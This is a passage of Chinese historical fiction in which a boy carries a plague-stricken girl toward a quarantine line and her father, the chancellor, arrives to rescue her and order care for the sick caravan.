“都是你,为什么听到闹瘟疫不直接回去?现在好了,你要把我们全都害死了!” “可怜我上有老下有小,我那八十岁的老母,没了儿子可怎么活!” 悲怆的哭声在商队中此起彼伏,纵是一群大男人,在生死面前也忍不住痛哭啜泣。 朱雨茫然的立于其中,本就不高大的身子好像又矮小了几分。 身体的痛苦、死亡的恐惧、内心的自责压垮了这位平日精明能干的管事,他无力的跌坐在地,看着商队一片凄惨景象,悲从中来:“是我的错,是我的错……” 商队乱成一片,谢岁安却无暇顾及。 他的状态也很差,脸色惨白,眼睛通红,眼底都是化不开的血丝。 比起身上的难受,更让他痛苦的是怀中人气息的短弱,生命的流失。 从昨晚到现在,他已经给苏茴喂了两次药,换了无数的布条,但她的情况丝毫没有好转,反倒越来越严重。 早上她还能坐起来咳嗽,现在却完全没有了爬起来的力气,只能在谢岁安怀中有一下没一下的咳。 苏茴想睁开眼,眼前却是一片昏花,她下意识抓了抓身下人的衣角,气若游丝:“哥哥,我好像要死了。” “不会的小茴,你还这么小,还有很长的路要走,你不会死的。”谢岁安抱紧了她。 “哥哥,如果你见到了我爹爹,你告诉他一定要去找娘亲……娘亲跟我分开了,说不定还活着。” “你不会死的,你已经到京城了,你可以自己找到他跟他说,小茴。”谢岁安双目猩红的看着怀中之人,只觉得她说的每一个字都如此的不中听。 “还有就是……”喉间的痒意打断了她,她停了一会儿才继续,“哥哥,放下我跑吧,我都听到了,他们不打算管我们了。” “……哥哥,我知道你还有事要做……你要……活下去……” 她的声音越来越小,越来越小,到最后几乎听不见。 她抓住衣角的手也松了。 巨大的茫然席卷了谢岁安。 他呆呆地看着怀中人闭上眼,一动不动的,他抬眼环顾四周,只觉天地失色,仿佛又回到了谢家灭门那天。 他以前保护不了爹爹,保护不了娘亲,保护不了妹妹,保护不了谢家,只能看着谢家覆灭火海。 他现在同样保护不了怀中之人,只能看着她在自己的怀中耗尽最后一口气息。 他是一个废物,是一个罪人。 但如果他有罪孽,所有的刑法后果应予他一人身上,老天何以容不下这样一条纤弱活泼的生命? 苍天不公,苍天何其不公。 他抱着苏茴站了起来,向士兵划线的区域外一步一步走去,朱雨一惊,赶忙过去想拉住他,却被小孩冷眼一扫停下,只能愣愣地看着他一步步向前。 士兵见又有找死的几分烦躁,又见是两个小孩,不免惊诧,但很快反应,又是一番警告厉喝,但那小孩仿佛失聪,抱着人依然一步一步、不急不缓的向前,向前。 眼见着他要出圈外,士兵也收了恻隐之心,提着长枪就要向前刺,他们不能放出去任何一个人,否则死的就是他们。 就在那长枪要刺进谢岁安的背时,一个人影忽至,他一剑挡下士兵的枪尖,这动静终于引起谢岁安的注意。 他转身看向挡剑之人,同时也露出了怀中苏茴的脸,那人盯着苏茴看了好几秒,忽地朝一个方向大喊:“大人,是小姐!真的是小姐!” 谢岁安一愣,随着他的视线看去,不远处,一辆精致华美的车架上走下来一个年近三十的男子,他正从那边小跑过来。 他很快来到谢岁安几步之遥的前方,也看清了谢岁安怀中之人,谢岁安听见他抖着声音叫了句:“小茴……” 说着向前伸出了手,却又想起来什么,马上收了回去。 一旁的士兵终于看清了来人,有人认出了他,上前抱拳行礼:“参见右相。” 他又随着右相的视线看苏茴,略有犹疑,“这位是……令千金?” 苏澄点头,声音还算温和,脸色却难看:“是小女。” 他环顾一圈,商队的人也都被他们的动静吸引,正在看着他们。 商队的人早上开始都陆续有了病状,只有严重跟轻微的区别,在这里耽搁了那么久,有好些人已经倒下不省人事,只有一小部分人还算清醒着,却也有气无力的,咳嗽声不断。 “你们就是这么办事的?”苏澄的声音也冷了下来。 小兵笑着赔罪:“大人您也知道,现在疫病的事非同一般,我们哪敢擅做决定,士兵长已经去请示了。” “那他人呢?” “这……”小兵不知该如何回话了,只能结结巴巴的道,“可能……可能上面还在想对策……” 苏澄冷笑一声,也懒得再跟个小兵掰扯:“找辆马车来,将人送去清辉堂隔离,再去把大夫请来给他们看病。” 小兵一惊:“大人,这怕是不妥吧,擅自把疫病之人放进城,上面要是怪罪下来,就算您是丞相怕也担不起这个责任。” “圣上近日已经下旨由我全权负责疫病一事,本官自是会负责,还不行动……怎么,是要本官去请圣上的旨意来给你瞧才肯?” “大人您说笑了,”小兵松了口气,“既然事情已交由大人管,我们这就去安排。” 苏澄点头,把令牌解了给一边还拿着剑的李肃道:“你留下,跟着他们安排,照顾好小姐。”他的目光又落到谢岁安身上,“还有这位小兄弟。” “是,大人。” 眼见苏澄要走,谢岁安终于开口:“大人留步。” “怎么了?”苏澄回头看他。 “您是苏茴的父亲?” “是,还要多谢你对小女的照顾。” “您不留下来吗?小茴……状态很不好。”岂止是不好,他都怀疑……怀疑…… 苏澄轻叹一声,落在苏茴身上的视线是掩饰不住的慈爱,但他最终只朝谢岁安鞠了一躬:“劳烦小友再照顾下她,如果小茴醒了,告诉她我很快回来看她。” 他身负要务,不得停留。